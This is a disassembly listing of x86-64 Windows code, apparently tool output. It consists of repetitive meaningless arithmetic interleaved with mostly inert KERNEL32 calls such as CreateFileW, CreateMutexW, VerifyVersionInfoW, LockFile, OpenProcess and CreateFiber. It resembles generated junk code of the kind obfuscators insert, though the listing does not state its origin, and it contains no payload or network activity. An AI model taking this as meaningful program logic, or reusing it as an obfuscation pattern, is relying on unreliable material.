movsx eax, word [rsp + 0x2d6c]
movsx ecx, word [rsp + 0x2cd0]
or eax, ecx
mov rcx, qword [rsp + 0x130f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13bf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13a58]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1d9], al
mov eax, dword [rsp + 0x9a28]
mov ecx, dword [rsp + 0x7074]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13298]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9cf0]
mov dword [rsp + 0xa30c], eax
mov rax, qword [0x140369d40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x77f]
add eax, ecx
mov rcx, qword [rsp + 0x14f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x144c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c2c]
sar eax, cl
mov word [rsp + 0x10dc], ax
mov eax, dword [rsp + 0x93fc]
movzx ecx, al
mov eax, dword [rsp + 0x9dec]
shl eax, cl
mov dword [0x140369ed0], eax
mov eax, dword [rsp + 0x789c]
mov ecx, dword [rsp + 0x9ab4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e1c], eax
mov eax, dword [0x140369c28]
mov ecx, dword [rsp + 0x9ccc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d80], eax
lea rax, [rsp + 0x9cc8]
mov qword [rsp + 0x15bf8], rax
mov rax, qword [rsp + 0x132a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2dd]
and eax, ecx
mov rcx, qword [rsp + 0x14ee0]
mov byte [rcx], al
lea rax, [rsp + 0x2c3c]
mov qword [rsp + 0x15c00], rax
mov rax, qword [0x14036a050]
mov rcx, qword [rsp + 0x13c18]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9bec], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.nQWhCyj8x
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15c08], rax
mov rax, qword [rsp + 0x13880]
mov ecx, dword [rsp + 0x5c48]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9b00], eax
lea rax, [rsp + 0x6e48]
mov qword [rsp + 0x15c10], rax
lea rax, [0x140369c68]
mov qword [0x14036a2d0], rax
mov rax, qword [rsp + 0x14038]
mov ecx, dword [rsp + 0xa228]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9ad4], eax
movzx eax, byte [rsp + 0x79f]
mov byte [rsp + 0x7b6], al
mov rax, qword [rsp + 0x137e0]
movsx eax, word [rax]
mov rcx, qword [0x140369e38]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b34], ax
movzx eax, word [rsp + 0x2bbc]
mov rcx, qword [rsp + 0x14a28]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2700], ax
lea rax, [rsp + 0x7a6]
mov qword [rsp + 0x15c18], rax
mov rax, qword [rsp + 0x145b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99b8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9708], eax
lea rax, [rsp + 0x9b24]
mov qword [rsp + 0x15c20], rax
movzx eax, word [rsp + 0x2da0]
movzx ecx, word [rsp + 0x2c7c]
or eax, ecx
mov rcx, qword [rsp + 0x14ee8]
mov word [rcx], ax
mov rax, qword [0x14036a128]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7a1]
imul eax, ecx
mov byte [0x1403525eb], al
mov rax, qword [rsp + 0x12d68]
mov ecx, dword [rsp + 0x6598]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9d24], eax
lea rax, [rsp + 0x9d18]
mov qword [rsp + 0x15c28], rax
mov rax, qword [0x140369d80]
mov ecx, dword [rsp + 0x9cb4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9e9c], eax
mov eax, dword [rsp + 0xa128]
mov dword [rsp + 0xa310], eax
movzx eax, word [rsp + 0x15c4]
movzx ecx, word [rsp + 0x17fc]
sar eax, cl
mov rcx, qword [rsp + 0x144c8]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
movzx eax, byte [0x140363f5e]
movzx ecx, byte [rsp + 0xeb]
shl eax, cl
mov byte [rsp + 0x650], al
mov rax, qword [rsp + 0x12df0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x52a8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa030], eax
mov eax, dword [rsp + 0xa0ec]
mov ecx, dword [rsp + 0x752c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13018]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2c90]
movsx ecx, word [rsp + 0x18c4]
or eax, ecx
mov word [0x1403624e8], ax
movzx eax, byte [rsp + 0x79f]
mov byte [rsp + 0x7b7], al
mov rax, qword [0x14036a140]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d80]
add eax, ecx
mov rcx, qword [rsp + 0x13e00]
mov word [rcx], ax
mov rax, qword [rsp + 0x14c10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x788]
and eax, ecx
mov byte [rsp + 0x6df], al
mov rax, qword [rsp + 0x13028]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9be4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15810]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14d28]
mov rcx, qword [rsp + 0x15220]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14608]
mov dword [rcx], eax
lea rax, [rsp + 0x81d0]
mov qword [rsp + 0x15c30], rax
mov eax, dword [rsp + 0x9a70]
mov ecx, dword [rsp + 0x9dac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15730]
mov dword [rcx], eax
lea rax, [rsp + 0xa0b4]
mov qword [rsp + 0x15c38], rax
mov rax, qword [rsp + 0x15ae0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13038]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x13b], al
mov rcx, qword [rsp + 0x12df8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9c48], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15c40], rax
mov rax, qword [rsp + 0x13610]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x22fc]
add eax, ecx
mov word [0x14036a1a4], ax
mov rax, qword [rsp + 0x13298]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9fa8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9808], eax
mov rax, qword [rsp + 0x132b8]
mov eax, dword [rax]
mov dword [rsp + 0xa314], eax
mov rax, qword [rsp + 0x14ef8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8ae8]
sar eax, cl
mov rcx, qword [rsp + 0x13c68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9e84]
mov rcx, qword [rsp + 0x12f58]
mov qword [rsp + 0x15c48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15c48]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x79e4], eax
mov rax, qword [rsp + 0x13410]
movzx eax, word [rax]
cdq
mov ecx, 0x658
idiv ecx
mov rcx, qword [rsp + 0x130a0]
mov word [rcx], ax
lea rax, [rsp + 0x3f0]
mov qword [rsp + 0x15c50], rax
mov rax, qword [rsp + 0x13d48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x483]
xor eax, ecx
mov rcx, qword [rsp + 0x150b0]
mov byte [rcx], al
movsx eax, word [rsp + 0x167c]
mov rcx, qword [rsp + 0x148f8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14488]
mov word [rcx], ax
lea rax, [rsp + 0x645c]
mov qword [0x14036a2d8], rax
mov eax, dword [rsp + 0x7df0]
mov dword [rsp + 0xa318], eax
movzx eax, byte [rsp + 0x74c]
mov rcx, qword [0x140369d48]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14bf8]
mov byte [rcx], al
mov rcx, qword [rsp + 0x13240]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9dcc], eax
movzx eax, word [rsp + 0x2bac]
mov word [rsp + 0x2df0], ax
mov rax, qword [rsp + 0x14918]
mov ecx, dword [rsp + 0x9bd8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14b38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x134e0]
mov ecx, dword [rsp + 0x86f8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13b48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15b70]
mov ecx, dword [rsp + 0x8620]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x89a8], eax
mov rax, qword [rsp + 0x15988]
mov rcx, qword [rsp + 0x15a08]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14dd0]
mov dword [rcx], eax
lea rax, [rsp + 0x793]
mov qword [rsp + 0x15c58], rax
lea rax, [rsp + 0x2198]
mov qword [0x14036a2e0], rax
mov rax, qword [rsp + 0x13070]
mov ecx, dword [rsp + 0x9f38]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa284], eax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x4bb50]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9fd8], eax
mov rax, qword [0x140369e50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa028], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x15c60], rax
lea rax, [rsp + 0x9da0]
mov qword [rsp + 0x15c68], rax
mov rax, qword [rsp + 0x13320]
mov ecx, dword [rsp + 0xa1a8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12ec0]
mov dword [rcx], eax
lea rax, [rsp + 0x9ccc]
mov qword [rsp + 0x15c70], rax
mov rax, qword [rsp + 0x130c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13468]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14c08]
mov word [rcx], ax
movsx eax, byte [rsp + 0x759]
mov rcx, qword [rsp + 0x14750]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x66b], al
mov rax, qword [0x140369c98]
movzx eax, byte [rax]
mov byte [rsp + 0x7b8], al
movzx eax, word [rsp + 0x2bf8]
mov rcx, qword [rsp + 0x13568]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140369c80]
mov word [rcx], ax
mov rax, qword [rsp + 0x15338]
mov rcx, qword [rsp + 0x15540]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13338]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15650]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1403624f4]
shr eax, cl
mov dword [rsp + 0x7fbc], eax
mov rax, qword [rsp + 0x13020]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d7c]
shl eax, cl
mov word [rsp + 0x189c], ax
movzx eax, byte [rsp + 0x49c]
mov byte [rsp + 0x7b9], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [rsp + 0x14860]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c7c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15380]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5d50]
mov ecx, dword [rsp + 0x9bcc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d90], eax
mov eax, dword [rsp + 0x9f00]
mov dword [rsp + 0xa31c], eax
mov eax, dword [rsp + 0x9f7c]
mov ecx, dword [rsp + 0x9cd0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa1dc], eax
lea rax, [rsp + 0x728]
mov qword [0x14036a2e8], rax
mov edx, 0x912
mov rcx, qword [rsp + 0x13510]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9ab8], eax
movzx eax, word [rsp + 0x2bb8]
mov rcx, qword [rsp + 0x151b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2420], ax
lea rdx, [rsp + 0x42990]
mov rcx, qword [rsp + 0x14778]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa320], eax
mov rax, qword [rsp + 0x15948]
mov ecx, dword [rsp + 0x86f8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14800]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13b50]
mov rcx, qword [rsp + 0x14f88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13d20]
mov dword [rcx], eax
movzx eax, byte [0x1403525ae]
mov byte [rsp + 0x7ba], al
movsx eax, word [rsp + 0x2d2c]
mov rcx, qword [rsp + 0x154a0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14358]
mov word [rcx], ax
mov rax, qword [rsp + 0x14b40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c74]
add eax, ecx
mov word [rsp + 0x1f4c], ax
movzx eax, byte [0x1403525cf]
mov rcx, qword [rsp + 0x13128]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14a98]
mov byte [rcx], al
mov rax, qword [rsp + 0x14478]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa19c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13328]
mov ecx, dword [0x14036a158]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x140369be8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rax, [rsp + 0xa094]
mov qword [rsp + 0x15c78], rax
mov rax, qword [rsp + 0x14ed8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9f98]
shr eax, cl
mov rcx, qword [rsp + 0x137c8]
mov dword [rcx], eax
lea rax, [rsp + 0x5498]
mov qword [rsp + 0x15c80], rax
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2668]
shl eax, cl
mov word [rsp + 0x1dc8], ax
lea rax, [rsp + 0x799]
mov qword [rsp + 0x15c88], rax
mov rax, qword [rsp + 0x13040]
mov rcx, qword [0x140369dc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12fc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14498]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b54]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8df8], eax
mov rax, qword [rsp + 0x13680]
mov eax, dword [rax]
mov dword [rsp + 0xa324], eax
mov rax, qword [rsp + 0x14d10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ce4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x140369eb0]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x4aef0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9c58], eax
movzx eax, word [rsp + 0x2bc0]
mov rcx, qword [rsp + 0x15a20]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x138e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x441]
mov byte [rsp + 0x7bb], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa328], eax
lea rdx, [rsp + 0x42e60]
mov rcx, qword [rsp + 0x13a78]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9fc4], eax
movsx eax, word [rsp + 0x23c8]
mov rcx, qword [rsp + 0x14628]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2dac], ax
mov rax, qword [rsp + 0x12ea0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x150b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x71b], al
mov dword [rsp + 0x4cc30], 0x11c
mov rax, qword [rsp + 0x13ab0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d34]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8770], eax
mov rax, qword [rsp + 0x141e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9cc4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ccc], eax
lea rax, [rsp + 0x233]
mov qword [rsp + 0x15c90], rax
movzx eax, word [rsp + 0x1bd4]
mov rcx, qword [0x14036a248]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1eb0], ax
mov eax, dword [rsp + 0x79e4]
mov dword [0x14036a2f0], eax
mov eax, dword [rsp + 0x9b2c]
mov ecx, dword [rsp + 0x9d18]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13de0]
mov dword [rcx], eax
lea rax, [rsp + 0x9ad4]
mov qword [rsp + 0x15c98], rax
mov edx, 0x110a
mov rcx, qword [rsp + 0x135e8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa068], eax
mov rax, qword [rsp + 0x15870]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e2c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x159d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14988]
movzx eax, word [rax]
mov word [rsp + 0x2df4], ax
mov rax, qword [rsp + 0x14cf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14548]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x14e38]
mov byte [rcx], al
mov rax, qword [rsp + 0x152b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9c8c]
sar eax, cl
mov dword [rsp + 0x9a70], eax
lea rax, [rsp + 0x9d60]
mov qword [rsp + 0x15ca0], rax
mov eax, dword [rsp + 0x9adc]
mov rcx, qword [rsp + 0x15568]
mov qword [rsp + 0x15ca8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15ca8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9d64], eax
mov rax, qword [rsp + 0x158e8]
mov rcx, qword [rsp + 0x14b38]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x14036a070]
mov dword [rcx], eax
lea rax, [rsp + 0x8dd4]
mov qword [rsp + 0x15cb0], rax
movsx eax, byte [rsp + 0x407]
movsx ecx, byte [rsp + 0x749]
and eax, ecx
mov byte [rsp + 0x611], al
lea rax, [rsp + 0x167c]
mov qword [rsp + 0x15cb8], rax
movzx eax, byte [rsp + 0x7a7]
mov rcx, qword [rsp + 0x14b20]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2b0], al
movzx eax, word [rsp + 0x25a0]
mov rcx, qword [0x14036a2a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14f50]
mov word [rcx], ax
lea rax, [rsp + 0xa008]
mov qword [rsp + 0x15cc0], rax
mov rax, qword [rsp + 0x12ee8]
mov rcx, qword [rsp + 0x15570]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9c24], eax
mov rcx, qword [rsp + 0x158b0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa298], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa32c], eax
movzx eax, word [rsp + 0x2ba8]
mov rcx, qword [rsp + 0x159e0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x246c], ax
lea rdx, [rsp + 0x431a8]
mov rcx, qword [rsp + 0x13140]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa190], eax
movzx eax, byte [rsp + 0x2b0]
mov byte [0x140363feb], al
mov eax, dword [rsp + 0x8e40]
mov ecx, dword [rsp + 0x63b4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a98]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9b38]
mov ecx, dword [str.7__]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ca4], eax
lea rcx, [rsp + 0x4cc30]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xa330], eax
mov eax, dword [rsp + 0x9d04]
mov dword [rsp + 0xa334], eax
mov rax, qword [rsp + 0x14bd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x93fc], eax
mov rcx, qword [rsp + 0x15ad0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x4b5b0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9ef8], eax
lea rax, [rsp + 0x2d70]
mov qword [rsp + 0x15cc8], rax
mov rax, qword [rsp + 0x13a38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x146e0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x145e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13160]
mov ecx, dword [rsp + 0x9cc0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13570]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15620]
mov eax, dword [rax]
mov rcx, qword [0x140369f20]
mov qword [rsp + 0x15cd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15cd0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x98e0], eax
mov rax, qword [rsp + 0x14c08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12ac]
sar eax, cl
mov rcx, qword [0x140369f18]
mov word [rcx], ax
movsx eax, byte [rsp + 0x731]
mov rcx, qword [0x14036a290]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x14ba8]
mov byte [rcx], al
lea rax, [rsp + 0x69c]
mov qword [rsp + 0x15cd8], rax
mov rax, qword [rsp + 0x12e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c1c]
or eax, ecx
mov word [rsp + 0x1e08], ax
lea rdx, [rsp + 0x43170]
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa338], eax
mov rax, qword [rsp + 0x154a8]
mov ecx, dword [0x1403624d0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa008], eax
lea rax, [rsp + 0xa294]
mov qword [rsp + 0x15ce0], rax
mov rax, qword [rsp + 0x14ed0]
mov rcx, qword [rsp + 0x14378]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13118]
mov dword [rcx], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x380d
mov r9d, 0x317c
mov r8d, 0x9e61bd07
mov edx, 2
mov rcx, qword [rsp + 0x12fb8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa120], eax
mov rax, qword [0x140369f40]
mov eax, dword [rax]
mov dword [rsp + 0xa33c], eax
mov rax, qword [rsp + 0x14038]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f84]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15890]
movzx eax, byte [rax]
mov byte [rsp + 0x7bc], al
lea rax, [rsp + 0x2af0]
mov qword [0x14036a2f8], rax
mov eax, dword [rsp + 0x6b70]
mov ecx, dword [rsp + 0x833c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13418]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13df8]
mov rcx, qword [rsp + 0x13318]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14070]
mov dword [rcx], eax
mov rax, qword [0x140369ec8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a84]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ab8], eax
mov eax, dword [rsp + 0x57fc]
mov ecx, dword [rsp + 0x9a9c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f28], eax
lea rax, [rsp + 0x2c98]
mov qword [rsp + 0x15ce8], rax
movzx eax, byte [rsp + 0x769]
mov rcx, qword [rsp + 0x14f18]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x7a2], al
movsx eax, word [rsp + 0x2ba0]
mov rcx, qword [rsp + 0x147b8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13310]
mov word [rcx], ax
mov rax, qword [rsp + 0x156d0]
movzx eax, byte [rax]
mov byte [rsp + 0x7bd], al
mov dword [rsp + 0x4cd50], 0x11c
mov eax, dword [rsp + 0x9a64]
mov rcx, qword [0x140369d20]
mov qword [rsp + 0x15cf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15cf0]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14036253c], eax
mov rax, qword [rsp + 0x14390]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x57e8]
shl eax, cl
mov rcx, qword [rsp + 0x131c0]
mov dword [rcx], eax
lea rdx, [rsp + 0x42bc0]
mov rcx, qword [rsp + 0x14f28]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9938], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
lea rax, [rsp + 0x280c]
mov qword [rsp + 0x15cf8], rax
mov rax, qword [rsp + 0x13d10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13278]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x15070]
mov byte [rcx], al
mov rax, qword [rsp + 0x15bb0]
mov ecx, dword [rsp + 0x53f0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x132a8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa340], eax
mov rax, qword [0x140369e18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x975c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6348], eax
mov dword [rsp + 0x20], 0x362c
mov r9d, 0x2151
mov r8d, 0xfb6
mov edx, 0x2ad3
mov rcx, qword [rsp + 0x13648]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9b34], eax
mov rax, qword [rsp + 0x15a88]
mov rcx, qword [rsp + 0x15570]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x77cc], eax
lea rax, [rsp + 0xa1fc]
mov qword [rsp + 0x15d00], rax
mov rax, qword [rsp + 0x15c50]
movzx eax, byte [rax]
movzx ecx, byte [0x140363f5d]
sub eax, ecx
mov byte [rsp + 0x6df], al
mov rax, qword [rsp + 0x153f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x152e0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14036a278]
mov word [rcx], ax
mov rax, qword [rsp + 0x13ab0]
mov eax, dword [rax]
mov dword [rsp + 0xa344], eax
mov eax, dword [rsp + 0x9f48]
mov ecx, dword [0x140369bc0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14180]
mov dword [rcx], eax
mov rax, qword [rsp + 0x136f8]
mov rcx, qword [rsp + 0x14ea8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa334], eax
lea rdx, [rsp + 0x433a0]
mov rcx, qword [rsp + 0x15130]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a68], eax
mov rax, qword [rsp + 0x13440]
mov eax, dword [rax]
mov dword [rsp + 0xa348], eax
mov rax, qword [rsp + 0x141d0]
mov eax, dword [rax]
mov ecx, dword [0x14036246c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d00], eax
mov rax, qword [rsp + 0x13f00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x756]
sub eax, ecx
mov byte [rsp + 0x2d2], al
movsx eax, word [rsp + 0x11e8]
movsx ecx, word [rsp + 0x1938]
add eax, ecx
mov rcx, qword [rsp + 0x13c38]
mov word [rcx], ax
mov rax, qword [rsp + 0x155c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x755]
or eax, ecx
mov rcx, qword [rsp + 0x13930]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
lea rax, [rsp + 0x2be0]
mov qword [0x14036a300], rax
mov rcx, qword [rsp + 0x13458]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
